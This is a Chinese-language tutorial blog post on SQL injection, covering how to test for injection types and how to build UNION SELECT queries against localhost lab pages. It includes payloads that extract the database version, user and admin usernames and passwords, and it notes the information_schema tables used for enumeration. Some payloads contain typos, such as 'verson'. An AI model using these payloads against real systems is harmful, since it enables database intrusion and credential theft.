SQL注入基础与union联合查询注入

先判断是字符型和是数字型注入

  1. 输入任意内容加单引号,如果有报错信息则根据报错信息判断
  2. or 1 = 1 and 1=1……

union联合注入

SQL中UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型,结果会去掉重复的记录。当UNION之前的select语句结果集为空时,查询结果将由UNION后的SELECT语句控制。当WEB应用存在SQL注入时,巧妙利用union查询可以进行数据的盗取

联合查询注入语句构造步骤:

  1. 判断原有查询语句的列数 order by 语句用于对结果集进行排序,在select语句末尾增加order by N (N表示基于第几列进行排序)
  2. 使原有查询语句的结果为空
  3. 判断数据输出位置 union select 1,2,3 --+
  4. 使用union语句拼接目标数据的查询语句 'union select verson(),4;# 得到当前数据库版本 'union select database(),user();# 得到当前数据库名和用户名

1.判断原有查询语句的列数select company, ordernumber from orders order by 5

2.使原有查询语句的结果为空http://localhost/sqleasy/news.php?newsid=-1

3.判断数据输出位置http://localhost/sqleasy/news.php?newsid=-1 union select 1,2,3,4,5

4.使用union语句拼接目标数据的查询语句http://127.0.0.1/sqltest/search.php?id=-1 union select 1,username,password,4, from admin&firstname=&lastname=&city=&year=&btnSign=%E6%9F%A5%E8%AF%A2

常用数据库函数

  • user() 查询当前是哪个账号在连接数据库
  • database() 查询当前数据库名称
  • @@verson/verson()
  • current_user() 查询当前用户
  • @@basedir 查询当前数据库的安装路径
  • @@datadir 查询数据库的data路径
  • @@verson_compile_os

连接字符串的函数

  • 前提:

    • concat(str1,str2)
    • concat_ws(separator,str1,str2……) separator为指定字符

    在这里插入图片描述
    在这里插入图片描述

    • group_concat(str1,str2……)

mysql中的information scheme库 //information scheme为mysql的系统库

  • SCHEMATA表
  • 字段:SCHEMA_NAME(库名)
  • TABLES表
  • 字段:TABLE_SCHEMA(库名),TABLE_NAME(表名)
  • COLUMNS表
  • 字段:TABLE_SCHEMA(库名),TABLE_NAME(表名),COLUMN_NAME(列名)

union利用前提:

页面上有显示位,用于显示我们想要的结果在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

优点:方便、快捷、易于利用

缺点:需要显示位

数据库类型判断

在这里插入图片描述

数据查询语句构造

在这里插入图片描述

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐